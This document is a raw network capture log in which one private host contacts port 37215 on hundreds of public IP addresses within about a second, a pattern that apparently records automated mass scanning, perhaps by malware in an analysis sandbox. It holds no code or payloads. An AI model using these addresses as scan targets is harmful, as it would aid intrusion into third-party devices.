Jan 1, 2024 12:51:44.276635885 CET	37215	37751	197.8.80.113	192.168.2.13
Jan 1, 2024 12:51:44.279831886 CET	37215	37751	94.43.155.88	192.168.2.13
Jan 1, 2024 12:51:44.284132004 CET	37215	37751	156.244.76.221	192.168.2.13
Jan 1, 2024 12:51:44.284668922 CET	37215	37751	156.250.6.108	192.168.2.13
Jan 1, 2024 12:51:44.286037922 CET	37215	37751	121.162.173.94	192.168.2.13
Jan 1, 2024 12:51:44.287674904 CET	37215	37751	41.35.93.128	192.168.2.13
Jan 1, 2024 12:51:44.411736012 CET	37215	37751	222.84.248.228	192.168.2.13
Jan 1, 2024 12:51:44.703913927 CET	37215	37751	197.131.29.102	192.168.2.13
Jan 1, 2024 12:51:44.980565071 CET	37751	37215	192.168.2.13	138.107.141.112
Jan 1, 2024 12:51:44.980571032 CET	37751	37215	192.168.2.13	107.138.223.56
Jan 1, 2024 12:51:44.980587006 CET	37751	37215	192.168.2.13	138.40.217.109
Jan 1, 2024 12:51:44.980587006 CET	37751	37215	192.168.2.13	156.52.153.128
Jan 1, 2024 12:51:44.980592966 CET	37751	37215	192.168.2.13	156.43.5.206
Jan 1, 2024 12:51:44.980595112 CET	37751	37215	192.168.2.13	160.5.45.62
Jan 1, 2024 12:51:44.980593920 CET	37751	37215	192.168.2.13	156.158.11.85
Jan 1, 2024 12:51:44.980596066 CET	37751	37215	192.168.2.13	197.155.112.16
Jan 1, 2024 12:51:44.980601072 CET	37751	37215	192.168.2.13	197.109.2.233
Jan 1, 2024 12:51:44.980609894 CET	37751	37215	192.168.2.13	197.29.102.254
Jan 1, 2024 12:51:44.980609894 CET	37751	37215	192.168.2.13	197.246.251.226
Jan 1, 2024 12:51:44.980617046 CET	37751	37215	192.168.2.13	156.41.21.185
Jan 1, 2024 12:51:44.980628967 CET	37751	37215	192.168.2.13	197.178.23.60
Jan 1, 2024 12:51:44.980631113 CET	37751	37215	192.168.2.13	197.152.132.24
Jan 1, 2024 12:51:44.980647087 CET	37751	37215	192.168.2.13	196.172.94.98
Jan 1, 2024 12:51:44.980654001 CET	37751	37215	192.168.2.13	190.22.134.114
Jan 1, 2024 12:51:44.980654955 CET	37751	37215	192.168.2.13	196.83.142.62
Jan 1, 2024 12:51:44.980654955 CET	37751	37215	192.168.2.13	156.49.246.0
Jan 1, 2024 12:51:44.980655909 CET	37751	37215	192.168.2.13	156.102.76.175
Jan 1, 2024 12:51:44.980657101 CET	37751	37215	192.168.2.13	107.179.95.203
Jan 1, 2024 12:51:44.980657101 CET	37751	37215	192.168.2.13	41.162.13.83
Jan 1, 2024 12:51:44.980668068 CET	37751	37215	192.168.2.13	156.60.117.121
Jan 1, 2024 12:51:44.980669022 CET	37751	37215	192.168.2.13	197.49.244.139
Jan 1, 2024 12:51:44.980669975 CET	37751	37215	192.168.2.13	197.93.86.204
Jan 1, 2024 12:51:44.980669975 CET	37751	37215	192.168.2.13	41.235.208.25
Jan 1, 2024 12:51:44.980669975 CET	37751	37215	192.168.2.13	156.137.1.223
Jan 1, 2024 12:51:44.980690002 CET	37751	37215	192.168.2.13	197.94.227.14
Jan 1, 2024 12:51:44.980691910 CET	37751	37215	192.168.2.13	95.244.15.48
Jan 1, 2024 12:51:44.980700970 CET	37751	37215	192.168.2.13	196.86.87.60
Jan 1, 2024 12:51:44.980698109 CET	37751	37215	192.168.2.13	41.241.165.212
Jan 1, 2024 12:51:44.980706930 CET	37751	37215	192.168.2.13	41.73.208.1
Jan 1, 2024 12:51:44.980710983 CET	37751	37215	192.168.2.13	120.140.106.131
Jan 1, 2024 12:51:44.980711937 CET	37751	37215	192.168.2.13	186.124.248.244
Jan 1, 2024 12:51:44.980715036 CET	37751	37215	192.168.2.13	197.62.7.170
Jan 1, 2024 12:51:44.980730057 CET	37751	37215	192.168.2.13	156.111.92.254
Jan 1, 2024 12:51:44.980730057 CET	37751	37215	192.168.2.13	156.13.81.223
Jan 1, 2024 12:51:44.980735064 CET	37751	37215	192.168.2.13	197.170.212.129
Jan 1, 2024 12:51:44.980736017 CET	37751	37215	192.168.2.13	156.191.23.19
Jan 1, 2024 12:51:44.980741024 CET	37751	37215	192.168.2.13	156.16.198.19
Jan 1, 2024 12:51:44.980741024 CET	37751	37215	192.168.2.13	41.139.227.72
Jan 1, 2024 12:51:44.980746031 CET	37751	37215	192.168.2.13	122.73.4.74
Jan 1, 2024 12:51:44.980752945 CET	37751	37215	192.168.2.13	37.143.143.127
Jan 1, 2024 12:51:44.980756044 CET	37751	37215	192.168.2.13	45.50.171.156
Jan 1, 2024 12:51:44.980758905 CET	37751	37215	192.168.2.13	41.124.212.4
Jan 1, 2024 12:51:44.980758905 CET	37751	37215	192.168.2.13	41.165.218.124
Jan 1, 2024 12:51:44.980762005 CET	37751	37215	192.168.2.13	186.196.84.88
Jan 1, 2024 12:51:44.980765104 CET	37751	37215	192.168.2.13	197.154.76.3
Jan 1, 2024 12:51:44.980767965 CET	37751	37215	192.168.2.13	197.96.213.128
Jan 1, 2024 12:51:44.980767965 CET	37751	37215	192.168.2.13	197.108.226.42
Jan 1, 2024 12:51:44.980767965 CET	37751	37215	192.168.2.13	156.6.13.149
Jan 1, 2024 12:51:44.980773926 CET	37751	37215	192.168.2.13	45.166.69.141
Jan 1, 2024 12:51:44.980777025 CET	37751	37215	192.168.2.13	197.77.18.188
Jan 1, 2024 12:51:44.980777025 CET	37751	37215	192.168.2.13	41.164.0.152
Jan 1, 2024 12:51:44.980792999 CET	37751	37215	192.168.2.13	41.95.185.138
Jan 1, 2024 12:51:44.980792999 CET	37751	37215	192.168.2.13	197.230.166.251
Jan 1, 2024 12:51:44.980792999 CET	37751	37215	192.168.2.13	41.148.95.89
Jan 1, 2024 12:51:44.980796099 CET	37751	37215	192.168.2.13	41.161.10.105
Jan 1, 2024 12:51:44.980798960 CET	37751	37215	192.168.2.13	156.211.234.19
Jan 1, 2024 12:51:44.980799913 CET	37751	37215	192.168.2.13	156.0.248.104
Jan 1, 2024 12:51:44.980822086 CET	37751	37215	192.168.2.13	156.27.125.174
Jan 1, 2024 12:51:44.980822086 CET	37751	37215	192.168.2.13	197.131.90.68
Jan 1, 2024 12:51:44.980824947 CET	37751	37215	192.168.2.13	121.135.59.254
Jan 1, 2024 12:51:44.980822086 CET	37751	37215	192.168.2.13	156.85.13.220
Jan 1, 2024 12:51:44.980824947 CET	37751	37215	192.168.2.13	154.123.132.73
Jan 1, 2024 12:51:44.980829954 CET	37751	37215	192.168.2.13	41.11.84.121
Jan 1, 2024 12:51:44.980843067 CET	37751	37215	192.168.2.13	37.238.211.101
Jan 1, 2024 12:51:44.980843067 CET	37751	37215	192.168.2.13	186.0.160.171
Jan 1, 2024 12:51:44.980844021 CET	37751	37215	192.168.2.13	197.153.100.130
Jan 1, 2024 12:51:44.980844021 CET	37751	37215	192.168.2.13	41.138.62.74
Jan 1, 2024 12:51:44.980844975 CET	37751	37215	192.168.2.13	190.145.115.39
Jan 1, 2024 12:51:44.980844021 CET	37751	37215	192.168.2.13	156.60.36.235
Jan 1, 2024 12:51:44.980844021 CET	37751	37215	192.168.2.13	197.234.68.232
Jan 1, 2024 12:51:44.980844021 CET	37751	37215	192.168.2.13	197.231.155.134
Jan 1, 2024 12:51:44.980865002 CET	37751	37215	192.168.2.13	154.5.150.229
Jan 1, 2024 12:51:44.980865955 CET	37751	37215	192.168.2.13	41.232.82.247
Jan 1, 2024 12:51:44.980868101 CET	37751	37215	192.168.2.13	41.138.132.237
Jan 1, 2024 12:51:44.980868101 CET	37751	37215	192.168.2.13	41.156.112.226
Jan 1, 2024 12:51:44.980868101 CET	37751	37215	192.168.2.13	45.201.103.208
Jan 1, 2024 12:51:44.980868101 CET	37751	37215	192.168.2.13	197.231.152.176
Jan 1, 2024 12:51:44.980870008 CET	37751	37215	192.168.2.13	154.97.55.229
Jan 1, 2024 12:51:44.980870008 CET	37751	37215	192.168.2.13	94.121.90.72
Jan 1, 2024 12:51:44.980871916 CET	37751	37215	192.168.2.13	95.188.242.38
Jan 1, 2024 12:51:44.980871916 CET	37751	37215	192.168.2.13	138.174.190.37
Jan 1, 2024 12:51:44.980876923 CET	37751	37215	192.168.2.13	41.188.30.135
Jan 1, 2024 12:51:44.980876923 CET	37751	37215	192.168.2.13	41.216.211.167
Jan 1, 2024 12:51:44.980876923 CET	37751	37215	192.168.2.13	41.197.20.152
Jan 1, 2024 12:51:44.980879068 CET	37751	37215	192.168.2.13	92.48.91.139
Jan 1, 2024 12:51:44.980885029 CET	37751	37215	192.168.2.13	45.186.35.238
Jan 1, 2024 12:51:44.980899096 CET	37751	37215	192.168.2.13	41.214.168.201
Jan 1, 2024 12:51:44.980899096 CET	37751	37215	192.168.2.13	197.209.183.194
Jan 1, 2024 12:51:44.980902910 CET	37751	37215	192.168.2.13	197.216.183.11
Jan 1, 2024 12:51:44.980904102 CET	37751	37215	192.168.2.13	156.181.28.178
Jan 1, 2024 12:51:44.980906963 CET	37751	37215	192.168.2.13	107.142.16.95
Jan 1, 2024 12:51:44.980911970 CET	37751	37215	192.168.2.13	197.0.192.48
Jan 1, 2024 12:51:44.980912924 CET	37751	37215	192.168.2.13	156.28.69.50
Jan 1, 2024 12:51:44.980916023 CET	37751	37215	192.168.2.13	41.196.246.49
Jan 1, 2024 12:51:44.980927944 CET	37751	37215	192.168.2.13	197.138.5.15
Jan 1, 2024 12:51:44.980928898 CET	37751	37215	192.168.2.13	156.43.108.45
Jan 1, 2024 12:51:44.980931044 CET	37751	37215	192.168.2.13	94.142.7.56
Jan 1, 2024 12:51:44.980931044 CET	37751	37215	192.168.2.13	197.219.249.214
Jan 1, 2024 12:51:44.980931044 CET	37751	37215	192.168.2.13	156.65.132.238
Jan 1, 2024 12:51:44.980936050 CET	37751	37215	192.168.2.13	41.243.198.165
Jan 1, 2024 12:51:44.980936050 CET	37751	37215	192.168.2.13	197.176.102.101
Jan 1, 2024 12:51:44.980937004 CET	37751	37215	192.168.2.13	92.212.2.89
Jan 1, 2024 12:51:44.980952024 CET	37751	37215	192.168.2.13	197.22.49.86
Jan 1, 2024 12:51:44.980952024 CET	37751	37215	192.168.2.13	41.147.247.24
Jan 1, 2024 12:51:44.980952024 CET	37751	37215	192.168.2.13	102.13.49.47
Jan 1, 2024 12:51:44.980952024 CET	37751	37215	192.168.2.13	41.111.21.71
Jan 1, 2024 12:51:44.980952978 CET	37751	37215	192.168.2.13	41.253.15.221
Jan 1, 2024 12:51:44.980957031 CET	37751	37215	192.168.2.13	156.156.172.127
Jan 1, 2024 12:51:44.980957031 CET	37751	37215	192.168.2.13	157.79.170.96
Jan 1, 2024 12:51:44.980957031 CET	37751	37215	192.168.2.13	102.24.46.58
Jan 1, 2024 12:51:44.980962992 CET	37751	37215	192.168.2.13	41.95.103.218
Jan 1, 2024 12:51:44.980964899 CET	37751	37215	192.168.2.13	186.198.134.127
Jan 1, 2024 12:51:44.980967999 CET	37751	37215	192.168.2.13	197.240.231.33
Jan 1, 2024 12:51:44.980969906 CET	37751	37215	192.168.2.13	186.226.232.190
Jan 1, 2024 12:51:44.980969906 CET	37751	37215	192.168.2.13	156.198.50.91
Jan 1, 2024 12:51:44.980973959 CET	37751	37215	192.168.2.13	197.158.160.4
Jan 1, 2024 12:51:44.980976105 CET	37751	37215	192.168.2.13	41.148.187.162
Jan 1, 2024 12:51:44.980976105 CET	37751	37215	192.168.2.13	160.56.34.146
Jan 1, 2024 12:51:44.980976105 CET	37751	37215	192.168.2.13	156.88.140.196
Jan 1, 2024 12:51:44.980976105 CET	37751	37215	192.168.2.13	197.28.81.177
Jan 1, 2024 12:51:44.980990887 CET	37751	37215	192.168.2.13	197.146.142.207
Jan 1, 2024 12:51:44.980997086 CET	37751	37215	192.168.2.13	41.93.251.66
Jan 1, 2024 12:51:44.981000900 CET	37751	37215	192.168.2.13	156.148.100.248
Jan 1, 2024 12:51:44.981000900 CET	37751	37215	192.168.2.13	196.185.104.49
Jan 1, 2024 12:51:44.981002092 CET	37751	37215	192.168.2.13	41.94.170.175
Jan 1, 2024 12:51:44.981002092 CET	37751	37215	192.168.2.13	156.120.252.43
Jan 1, 2024 12:51:44.981002092 CET	37751	37215	192.168.2.13	138.186.200.175
Jan 1, 2024 12:51:44.981005907 CET	37751	37215	192.168.2.13	197.234.207.200
Jan 1, 2024 12:51:44.981007099 CET	37751	37215	192.168.2.13	156.34.186.122
Jan 1, 2024 12:51:44.981007099 CET	37751	37215	192.168.2.13	156.91.81.64
Jan 1, 2024 12:51:44.981007099 CET	37751	37215	192.168.2.13	156.34.87.74
Jan 1, 2024 12:51:44.981019974 CET	37751	37215	192.168.2.13	197.156.95.126
Jan 1, 2024 12:51:44.981024981 CET	37751	37215	192.168.2.13	197.0.215.128
Jan 1, 2024 12:51:44.981024981 CET	37751	37215	192.168.2.13	154.114.173.130
Jan 1, 2024 12:51:44.981029034 CET	37751	37215	192.168.2.13	41.98.74.40
Jan 1, 2024 12:51:44.981029034 CET	37751	37215	192.168.2.13	156.20.187.120
Jan 1, 2024 12:51:44.981038094 CET	37751	37215	192.168.2.13	156.17.217.200
Jan 1, 2024 12:51:44.981045008 CET	37751	37215	192.168.2.13	92.14.189.171
Jan 1, 2024 12:51:44.981049061 CET	37751	37215	192.168.2.13	37.134.167.173
Jan 1, 2024 12:51:44.981049061 CET	37751	37215	192.168.2.13	196.181.137.0
Jan 1, 2024 12:51:44.981049061 CET	37751	37215	192.168.2.13	196.20.106.29
Jan 1, 2024 12:51:44.981051922 CET	37751	37215	192.168.2.13	197.151.42.180
Jan 1, 2024 12:51:44.981053114 CET	37751	37215	192.168.2.13	102.40.236.143
Jan 1, 2024 12:51:44.981065035 CET	37751	37215	192.168.2.13	102.246.91.34
Jan 1, 2024 12:51:44.981071949 CET	37751	37215	192.168.2.13	154.52.153.0
Jan 1, 2024 12:51:44.981071949 CET	37751	37215	192.168.2.13	156.61.98.14
Jan 1, 2024 12:51:44.981082916 CET	37751	37215	192.168.2.13	41.179.20.159
Jan 1, 2024 12:51:44.981082916 CET	37751	37215	192.168.2.13	197.127.47.50
Jan 1, 2024 12:51:44.981085062 CET	37751	37215	192.168.2.13	222.22.43.64
Jan 1, 2024 12:51:44.981096983 CET	37751	37215	192.168.2.13	41.181.140.149
Jan 1, 2024 12:51:44.981096983 CET	37751	37215	192.168.2.13	154.134.202.156
Jan 1, 2024 12:51:44.981105089 CET	37751	37215	192.168.2.13	156.155.8.225
Jan 1, 2024 12:51:44.981105089 CET	37751	37215	192.168.2.13	41.79.220.78
Jan 1, 2024 12:51:44.981118917 CET	37751	37215	192.168.2.13	156.142.36.79
Jan 1, 2024 12:51:44.981122971 CET	37751	37215	192.168.2.13	156.22.49.116
Jan 1, 2024 12:51:44.981125116 CET	37751	37215	192.168.2.13	197.106.138.46
Jan 1, 2024 12:51:44.981134892 CET	37751	37215	192.168.2.13	122.96.158.91
Jan 1, 2024 12:51:44.981136084 CET	37751	37215	192.168.2.13	156.145.187.201
Jan 1, 2024 12:51:44.981136084 CET	37751	37215	192.168.2.13	197.88.91.231
Jan 1, 2024 12:51:44.981137991 CET	37751	37215	192.168.2.13	197.169.139.144
Jan 1, 2024 12:51:44.981146097 CET	37751	37215	192.168.2.13	156.253.164.220
Jan 1, 2024 12:51:44.981153011 CET	37751	37215	192.168.2.13	186.170.125.227
Jan 1, 2024 12:51:44.981167078 CET	37751	37215	192.168.2.13	197.226.1.38
Jan 1, 2024 12:51:44.981172085 CET	37751	37215	192.168.2.13	197.126.3.100
Jan 1, 2024 12:51:44.981175900 CET	37751	37215	192.168.2.13	157.177.239.251
Jan 1, 2024 12:51:44.981175900 CET	37751	37215	192.168.2.13	41.55.51.84
Jan 1, 2024 12:51:44.981175900 CET	37751	37215	192.168.2.13	197.28.149.200
Jan 1, 2024 12:51:44.981177092 CET	37751	37215	192.168.2.13	186.106.33.186
Jan 1, 2024 12:51:44.981178045 CET	37751	37215	192.168.2.13	190.119.70.56
Jan 1, 2024 12:51:44.981178045 CET	37751	37215	192.168.2.13	95.114.35.167
Jan 1, 2024 12:51:44.981180906 CET	37751	37215	192.168.2.13	222.149.222.252
Jan 1, 2024 12:51:44.981183052 CET	37751	37215	192.168.2.13	197.65.189.171
Jan 1, 2024 12:51:44.981194019 CET	37751	37215	192.168.2.13	197.249.163.33
Jan 1, 2024 12:51:44.981198072 CET	37751	37215	192.168.2.13	41.131.236.119
Jan 1, 2024 12:51:44.981198072 CET	37751	37215	192.168.2.13	95.22.167.62
Jan 1, 2024 12:51:44.981201887 CET	37751	37215	192.168.2.13	41.194.211.163
Jan 1, 2024 12:51:44.981204987 CET	37751	37215	192.168.2.13	102.200.221.61
Jan 1, 2024 12:51:44.981211901 CET	37751	37215	192.168.2.13	41.97.205.241
Jan 1, 2024 12:51:44.981215954 CET	37751	37215	192.168.2.13	156.158.64.208
Jan 1, 2024 12:51:44.981219053 CET	37751	37215	192.168.2.13	156.184.248.248
Jan 1, 2024 12:51:44.981220961 CET	37751	37215	192.168.2.13	156.135.199.106
Jan 1, 2024 12:51:44.981230974 CET	37751	37215	192.168.2.13	121.239.12.24
Jan 1, 2024 12:51:44.981232882 CET	37751	37215	192.168.2.13	197.147.64.213
Jan 1, 2024 12:51:44.981240034 CET	37751	37215	192.168.2.13	197.172.105.16
Jan 1, 2024 12:51:44.981240988 CET	37751	37215	192.168.2.13	160.62.84.90
Jan 1, 2024 12:51:44.981242895 CET	37751	37215	192.168.2.13	45.145.137.19
Jan 1, 2024 12:51:44.981254101 CET	37751	37215	192.168.2.13	41.142.33.132
Jan 1, 2024 12:51:44.981271982 CET	37751	37215	192.168.2.13	41.6.247.112
Jan 1, 2024 12:51:44.981276035 CET	37751	37215	192.168.2.13	102.181.157.28
Jan 1, 2024 12:51:44.981276035 CET	37751	37215	192.168.2.13	41.188.240.232
Jan 1, 2024 12:51:44.981276035 CET	37751	37215	192.168.2.13	41.112.210.63
Jan 1, 2024 12:51:44.981276035 CET	37751	37215	192.168.2.13	41.164.208.202
Jan 1, 2024 12:51:44.981280088 CET	37751	37215	192.168.2.13	41.71.135.38
Jan 1, 2024 12:51:44.981280088 CET	37751	37215	192.168.2.13	156.97.163.138
Jan 1, 2024 12:51:44.981281042 CET	37751	37215	192.168.2.13	94.57.160.102
Jan 1, 2024 12:51:44.981281042 CET	37751	37215	192.168.2.13	197.221.225.107
Jan 1, 2024 12:51:44.981297016 CET	37751	37215	192.168.2.13	181.170.217.37
Jan 1, 2024 12:51:44.981302977 CET	37751	37215	192.168.2.13	41.44.209.235
Jan 1, 2024 12:51:44.981304884 CET	37751	37215	192.168.2.13	197.62.42.86
Jan 1, 2024 12:51:44.981304884 CET	37751	37215	192.168.2.13	156.226.168.137
Jan 1, 2024 12:51:44.981306076 CET	37751	37215	192.168.2.13	190.210.155.180
Jan 1, 2024 12:51:44.981314898 CET	37751	37215	192.168.2.13	160.227.107.7
Jan 1, 2024 12:51:44.981321096 CET	37751	37215	192.168.2.13	45.23.34.156
Jan 1, 2024 12:51:44.981337070 CET	37751	37215	192.168.2.13	156.179.79.169
Jan 1, 2024 12:51:44.981342077 CET	37751	37215	192.168.2.13	156.104.199.79
Jan 1, 2024 12:51:44.981344938 CET	37751	37215	192.168.2.13	45.121.88.13
Jan 1, 2024 12:51:44.981349945 CET	37751	37215	192.168.2.13	95.229.79.92
Jan 1, 2024 12:51:44.981359005 CET	37751	37215	192.168.2.13	37.157.99.118
Jan 1, 2024 12:51:44.981359005 CET	37751	37215	192.168.2.13	197.65.132.152
Jan 1, 2024 12:51:44.981367111 CET	37751	37215	192.168.2.13	156.204.209.225
Jan 1, 2024 12:51:44.981368065 CET	37751	37215	192.168.2.13	107.54.233.44
Jan 1, 2024 12:51:44.981369019 CET	37751	37215	192.168.2.13	156.85.252.201
Jan 1, 2024 12:51:44.981372118 CET	37751	37215	192.168.2.13	41.173.238.252
Jan 1, 2024 12:51:44.981372118 CET	37751	37215	192.168.2.13	190.158.161.10
Jan 1, 2024 12:51:44.981374979 CET	37751	37215	192.168.2.13	197.24.229.19
Jan 1, 2024 12:51:44.981379986 CET	37751	37215	192.168.2.13	196.108.190.164
Jan 1, 2024 12:51:44.981394053 CET	37751	37215	192.168.2.13	156.17.196.199
Jan 1, 2024 12:51:44.981403112 CET	37751	37215	192.168.2.13	181.41.114.173
Jan 1, 2024 12:51:44.981403112 CET	37751	37215	192.168.2.13	156.228.24.58
Jan 1, 2024 12:51:44.981404066 CET	37751	37215	192.168.2.13	156.203.225.250
Jan 1, 2024 12:51:44.981412888 CET	37751	37215	192.168.2.13	222.239.157.188
Jan 1, 2024 12:51:44.981415033 CET	37751	37215	192.168.2.13	41.36.160.165
Jan 1, 2024 12:51:44.981416941 CET	37751	37215	192.168.2.13	197.234.135.84
Jan 1, 2024 12:51:44.981419086 CET	37751	37215	192.168.2.13	156.121.133.165
Jan 1, 2024 12:51:44.981426954 CET	37751	37215	192.168.2.13	197.250.135.74
Jan 1, 2024 12:51:44.981429100 CET	37751	37215	192.168.2.13	197.249.8.210
Jan 1, 2024 12:51:44.981429100 CET	37751	37215	192.168.2.13	197.156.221.0
Jan 1, 2024 12:51:44.981436968 CET	37751	37215	192.168.2.13	41.131.10.107
Jan 1, 2024 12:51:44.981436968 CET	37751	37215	192.168.2.13	156.72.241.52
Jan 1, 2024 12:51:44.981436968 CET	37751	37215	192.168.2.13	196.135.206.70
Jan 1, 2024 12:51:44.981436968 CET	37751	37215	192.168.2.13	41.114.232.4
Jan 1, 2024 12:51:44.981436968 CET	37751	37215	192.168.2.13	156.5.125.94
Jan 1, 2024 12:51:44.981439114 CET	37751	37215	192.168.2.13	156.51.70.242
Jan 1, 2024 12:51:44.981439114 CET	37751	37215	192.168.2.13	197.210.232.205
Jan 1, 2024 12:51:44.981440067 CET	37751	37215	192.168.2.13	197.231.215.125
Jan 1, 2024 12:51:44.981441021 CET	37751	37215	192.168.2.13	138.208.15.218
Jan 1, 2024 12:51:44.981447935 CET	37751	37215	192.168.2.13	41.193.186.113
Jan 1, 2024 12:51:44.981451988 CET	37751	37215	192.168.2.13	156.120.223.187
Jan 1, 2024 12:51:44.981460094 CET	37751	37215	192.168.2.13	154.156.142.250
Jan 1, 2024 12:51:44.981458902 CET	37751	37215	192.168.2.13	222.100.74.165
Jan 1, 2024 12:51:44.981460094 CET	37751	37215	192.168.2.13	197.169.247.135
Jan 1, 2024 12:51:44.981463909 CET	37751	37215	192.168.2.13	197.53.1.104
Jan 1, 2024 12:51:44.981463909 CET	37751	37215	192.168.2.13	41.46.125.34
Jan 1, 2024 12:51:44.981463909 CET	37751	37215	192.168.2.13	41.243.164.37
Jan 1, 2024 12:51:44.981463909 CET	37751	37215	192.168.2.13	197.63.85.206
Jan 1, 2024 12:51:44.981463909 CET	37751	37215	192.168.2.13	154.172.254.66
Jan 1, 2024 12:51:44.981465101 CET	37751	37215	192.168.2.13	45.39.175.236
Jan 1, 2024 12:51:44.981463909 CET	37751	37215	192.168.2.13	156.153.149.40
Jan 1, 2024 12:51:44.981465101 CET	37751	37215	192.168.2.13	156.184.221.26
Jan 1, 2024 12:51:44.981465101 CET	37751	37215	192.168.2.13	41.15.202.195
Jan 1, 2024 12:51:44.981475115 CET	37751	37215	192.168.2.13	41.56.179.156
Jan 1, 2024 12:51:44.981477022 CET	37751	37215	192.168.2.13	156.159.231.1
Jan 1, 2024 12:51:44.981479883 CET	37751	37215	192.168.2.13	41.216.139.110
Jan 1, 2024 12:51:44.981489897 CET	37751	37215	192.168.2.13	41.106.188.28
Jan 1, 2024 12:51:44.981492996 CET	37751	37215	192.168.2.13	41.132.128.119
Jan 1, 2024 12:51:44.981492996 CET	37751	37215	192.168.2.13	197.196.166.23
Jan 1, 2024 12:51:44.981503963 CET	37751	37215	192.168.2.13	160.63.1.64
Jan 1, 2024 12:51:44.981503963 CET	37751	37215	192.168.2.13	197.12.108.221
Jan 1, 2024 12:51:44.981506109 CET	37751	37215	192.168.2.13	197.29.166.32
Jan 1, 2024 12:51:44.981513023 CET	37751	37215	192.168.2.13	156.155.122.144
Jan 1, 2024 12:51:44.981518984 CET	37751	37215	192.168.2.13	156.235.114.75
Jan 1, 2024 12:51:44.981520891 CET	37751	37215	192.168.2.13	156.119.3.151
Jan 1, 2024 12:51:44.981522083 CET	37751	37215	192.168.2.13	197.196.124.106
Jan 1, 2024 12:51:44.981530905 CET	37751	37215	192.168.2.13	156.227.184.136
Jan 1, 2024 12:51:44.981530905 CET	37751	37215	192.168.2.13	181.234.10.186
Jan 1, 2024 12:51:44.981530905 CET	37751	37215	192.168.2.13	154.110.13.108
Jan 1, 2024 12:51:44.981532097 CET	37751	37215	192.168.2.13	156.59.117.249
Jan 1, 2024 12:51:44.981534958 CET	37751	37215	192.168.2.13	197.47.215.180
Jan 1, 2024 12:51:44.981543064 CET	37751	37215	192.168.2.13	197.123.182.53
Jan 1, 2024 12:51:44.981554985 CET	37751	37215	192.168.2.13	41.191.67.151
Jan 1, 2024 12:51:44.981554985 CET	37751	37215	192.168.2.13	156.47.22.166
Jan 1, 2024 12:51:44.981554985 CET	37751	37215	192.168.2.13	190.63.251.240
Jan 1, 2024 12:51:44.981558084 CET	37751	37215	192.168.2.13	156.188.33.218
Jan 1, 2024 12:51:44.981558084 CET	37751	37215	192.168.2.13	156.31.167.198
Jan 1, 2024 12:51:44.981576920 CET	37751	37215	192.168.2.13	156.229.48.105
Jan 1, 2024 12:51:44.981576920 CET	37751	37215	192.168.2.13	197.154.145.114
Jan 1, 2024 12:51:44.981576920 CET	37751	37215	192.168.2.13	41.14.179.228
Jan 1, 2024 12:51:44.981580973 CET	37751	37215	192.168.2.13	197.163.212.34
Jan 1, 2024 12:51:44.981589079 CET	37751	37215	192.168.2.13	222.163.124.10
Jan 1, 2024 12:51:44.981590986 CET	37751	37215	192.168.2.13	156.187.197.32
Jan 1, 2024 12:51:44.981590986 CET	37751	37215	192.168.2.13	41.89.255.104
Jan 1, 2024 12:51:44.981601000 CET	37751	37215	192.168.2.13	92.153.90.252
Jan 1, 2024 12:51:44.981601000 CET	37751	37215	192.168.2.13	156.90.116.224
Jan 1, 2024 12:51:44.981604099 CET	37751	37215	192.168.2.13	197.250.162.179
Jan 1, 2024 12:51:44.981605053 CET	37751	37215	192.168.2.13	156.224.23.214
Jan 1, 2024 12:51:44.981605053 CET	37751	37215	192.168.2.13	197.66.11.99
Jan 1, 2024 12:51:44.981605053 CET	37751	37215	192.168.2.13	45.188.1.80
Jan 1, 2024 12:51:44.981610060 CET	37751	37215	192.168.2.13	197.101.114.246
Jan 1, 2024 12:51:44.981617928 CET	37751	37215	192.168.2.13	41.174.243.43
Jan 1, 2024 12:51:44.981622934 CET	37751	37215	192.168.2.13	41.55.177.8
Jan 1, 2024 12:51:44.981625080 CET	37751	37215	192.168.2.13	197.63.194.160
Jan 1, 2024 12:51:44.981625080 CET	37751	37215	192.168.2.13	41.220.134.187
Jan 1, 2024 12:51:44.981628895 CET	37751	37215	192.168.2.13	196.170.164.45
Jan 1, 2024 12:51:44.981628895 CET	37751	37215	192.168.2.13	190.109.164.232
Jan 1, 2024 12:51:44.981633902 CET	37751	37215	192.168.2.13	197.203.96.248
Jan 1, 2024 12:51:44.981633902 CET	37751	37215	192.168.2.13	138.177.21.149
Jan 1, 2024 12:51:44.981636047 CET	37751	37215	192.168.2.13	138.16.130.193
Jan 1, 2024 12:51:44.981637955 CET	37751	37215	192.168.2.13	41.114.171.96
Jan 1, 2024 12:51:44.981633902 CET	37751	37215	192.168.2.13	156.4.224.104
Jan 1, 2024 12:51:44.981635094 CET	37751	37215	192.168.2.13	41.41.73.4
Jan 1, 2024 12:51:44.981635094 CET	37751	37215	192.168.2.13	197.77.79.144
Jan 1, 2024 12:51:44.981642962 CET	37751	37215	192.168.2.13	197.241.55.183
Jan 1, 2024 12:51:44.981654882 CET	37751	37215	192.168.2.13	197.49.18.64
Jan 1, 2024 12:51:44.981656075 CET	37751	37215	192.168.2.13	92.132.29.38
Jan 1, 2024 12:51:44.981657982 CET	37751	37215	192.168.2.13	138.254.122.204
Jan 1, 2024 12:51:44.981657982 CET	37751	37215	192.168.2.13	41.62.206.137
Jan 1, 2024 12:51:44.981664896 CET	37751	37215	192.168.2.13	138.115.71.11
Jan 1, 2024 12:51:44.981673002 CET	37751	37215	192.168.2.13	138.200.75.134
Jan 1, 2024 12:51:44.981683969 CET	37751	37215	192.168.2.13	197.248.107.103
Jan 1, 2024 12:51:44.981687069 CET	37751	37215	192.168.2.13	156.216.19.146
Jan 1, 2024 12:51:44.981690884 CET	37751	37215	192.168.2.13	156.16.75.243
Jan 1, 2024 12:51:44.981690884 CET	37751	37215	192.168.2.13	156.120.90.205
Jan 1, 2024 12:51:44.981693983 CET	37751	37215	192.168.2.13	197.35.252.21
Jan 1, 2024 12:51:44.981693983 CET	37751	37215	192.168.2.13	197.33.48.65
Jan 1, 2024 12:51:44.981694937 CET	37751	37215	192.168.2.13	41.148.24.251
Jan 1, 2024 12:51:44.981698036 CET	37751	37215	192.168.2.13	156.51.130.12
Jan 1, 2024 12:51:44.981702089 CET	37751	37215	192.168.2.13	41.142.142.198
Jan 1, 2024 12:51:44.981702089 CET	37751	37215	192.168.2.13	156.49.169.126
Jan 1, 2024 12:51:44.981702089 CET	37751	37215	192.168.2.13	41.163.20.246
Jan 1, 2024 12:51:44.981707096 CET	37751	37215	192.168.2.13	156.29.232.62
Jan 1, 2024 12:51:44.981715918 CET	37751	37215	192.168.2.13	156.253.245.238
Jan 1, 2024 12:51:44.981719017 CET	37751	37215	192.168.2.13	120.17.16.241
Jan 1, 2024 12:51:44.981719017 CET	37751	37215	192.168.2.13	197.165.101.124
